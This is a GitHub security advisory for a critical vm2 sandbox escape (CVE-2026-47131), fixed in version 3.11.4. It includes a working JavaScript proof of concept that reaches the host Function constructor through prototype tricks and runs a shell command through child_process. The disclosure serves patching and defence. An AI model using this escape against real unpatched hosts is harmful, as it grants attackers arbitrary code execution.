GitHub Advisoryadvisory · npm
GHSA-v6mx-mf47-r5wg vm2 has a Sandbox Escape issue
CRITICAL
Official page ↗
- Aliases
- CVE-2026-47131
- Ecosystem
- npm
- Packages
- vm2
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-913
- Reviewed
- 2026-05-29
Affected packages
• npm vm2: < 3.11.4 → fixed in 3.11.4
Description
Summary
By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox.
This allows attackers to run arbitrary code.
PoC
```js
"use strict";
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
"use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
setProto.call(getProto.call(e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
const HostFunction = e.constructor.constructor;
new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
}
}
f();
`);
```
Impact
Sandbox Escape → RCE
Related
Alias · CVE (1)
- CVE-2026-47131 vm2 is an open source vm/sandbox for Node.js. vulnerability
Weakness · CWE (1)
- CWE-913 Improper Control of Dynamically-Managed Code Resources weakness
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg web
- https://nvd.nist.gov/vuln/detail/CVE-2026-47131 advisory
- https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8 web
- https://github.com/patriksimek/vm2 package
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4 web